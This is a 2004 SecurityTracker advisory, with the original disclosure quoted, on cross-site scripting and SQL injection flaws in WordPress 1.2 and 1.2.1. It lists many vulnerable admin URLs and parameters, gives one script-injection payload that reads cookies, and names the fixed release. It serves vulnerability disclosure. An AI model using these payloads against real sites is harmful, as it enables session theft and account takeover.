(Vendor Issues Fix) WordPress Input Validation Hole Lets Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1012599 |
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SecurityTracker URL: http://securitytracker.com/id/1012599
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Dec 16 2004
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Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): 1.2, 1.2.1
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Description:
An input validation vulnerability was reported in WordPress. A remote user can conduct cross-site scripting attacks.
It is reported that the software does not properly validate user-supplied input in the 'redirect_to' parameter of the 'wp-login.php' script. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the WordPress software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
wp-login.php?redirect_to=[XSS]
In December 2004, Thomas Waldegger indicated that version 1.2.1 is also affected by this and other vulnerabilities.
Some demonstration exploit URLs are provided:
/wp-login.php?redirect_to=[XSS]
/wp-admin/bookmarklet.php?popupurl=[XSS]
/wp-admin/bookmarklet.php?content=[XSS]
/wp-admin/edit-comments.php?s=[XSS]
/wp-admin/edit-comments.php?s=bla&submit=Search&mode=[XSS]
/wp-admin/templates.php?file=[XSS]
/wp-admin/link-add.php?linkurl=[XSS]
/wp-admin/link-add.php?name=[XSS]
/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
/wp-admin/link-manager.php?order_by=[XSS]
/wp-admin/link-manager.php?cat_id=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_url=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_name=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_description=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_rel=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_image=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_rss_uri=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_notes=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_id=[XSS]
/wp-admin/link-manager.php?action=linkedit&order_by=[XSS]
/wp-admin/link-manager.php?action=linkedit&cat_id=[XSS]
/wp-admin/post.php?content=[XSS]
/wp-admin/moderation.php?action=update&item_approved=[XSS]
It is also reported that a remote user may be able to inject SQL commands. Some demonstration exploit URLs are provided:
/index.php?m=bla
/wp-admin/edit.php?m=bla
/wp-admin/link-categories.php?cat_id=bla&action=Edit
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Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the WordPress software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
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Solution:
The vendor has issued a fixed version (1.2.2), available at:
http://wordpress.org/download/
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Vendor URL: wordpress.org/ (Links to External Site)
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Cause:
Input validation error
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Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
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Message History:
This archive entry is a follow-up to the message listed below.
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Source Message Contents
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Date: 16 Dec 2004 06:21:19 -0000
Subject: Multiple XSS Vulnerabilities in Wordpress 1.2.1
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Vendor : Wordpress
URL : http://wordpress.org/
Version: Wordpress 1.2.1
Risk: : XSS
* Description
WordPress is a state-of-the-art semantic personal
publishing platform with a focus on aesthetics, web
standards, and usability. [...]
Visit http://wordpress.org/ for detailed informations.
* Summary
After a quick reread of the wordpress source code I
was very disappointed about the improvements in the
new version 1.2.1 of wordpress. The developers did
not fix all flaws I mentioned in my last advisory
[1] and they did not improve the code of the files
in the administration panel. There were still a lot
of XSS vulnerabilities.
So I contaced the main developer again on October
28th and posted the notice about several security
flaws in their support forum to be sure the message
reaches the developers. On December 15th - yesterday
- they released a fixed version.
* Cross Site Scripting and similar flaws
The version 1.2.1 of wordpress was *more* vulnerable
than the 1.2 release cause of this new "feature"
in wp-login.php.
> // If someone has moved WordPress let's try to detect it
> if ( dirname('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'])
!= get_settings('siteurl') )
> update_option('siteurl', dirname('http://' . $_SERVER['HTTP_HOST'] .
$_SERVER['REQUEST_URI']) );
With an URI like
/wp-login.php?="><script>alert(document.cookie)</script></script>
an attacker was able to store arbitrary values in
the global siteurl setting.
Another issue was that an administrator or privileged
user was able to post messages, add new categories,
change profile values etc. with HTML code in it.
Still vulnerable in WP-1.2.1:
/wp-login.php?redirect_to=[XSS]
/wp-admin/bookmarklet.php?popupurl=[XSS]
/wp-admin/bookmarklet.php?content=[XSS]
XSS vulns they did not fix:
/wp-admin/edit-comments.php?s=[XSS]
/wp-admin/edit-comments.php?s=bla&submit=Search&mode=[XSS]
/wp-admin/templates.php?file=[XSS]
/wp-admin/link-add.php?linkurl=[XSS]
/wp-admin/link-add.php?name=[XSS]
/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
/wp-admin/link-manager.php?order_by=[XSS]
/wp-admin/link-manager.php?cat_id=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_url=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_name=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_description=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_rel=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_image=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_rss_uri=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_notes=[XSS]
/wp-admin/link-manager.php?action=linkedit&link_id=[XSS]
/wp-admin/link-manager.php?action=linkedit&order_by=[XSS]
/wp-admin/link-manager.php?action=linkedit&cat_id=[XSS]
/wp-admin/post.php?content=[XSS]
/wp-admin/moderation.php?action=update&item_approved=[XSS]
SQL errors:
/index.php?m=bla
/wp-admin/edit.php?m=bla
/wp-admin/link-categories.php?cat_id=bla&action=Edit
* Solution
Upgrade to Worpress 1.2.2 [2]
* Credits
Thomas Waldegger
[1] http://www.securityfocus.com/archive/1/376766
[2] http://wordpress.org/development/2004/12/one-point-two-two/
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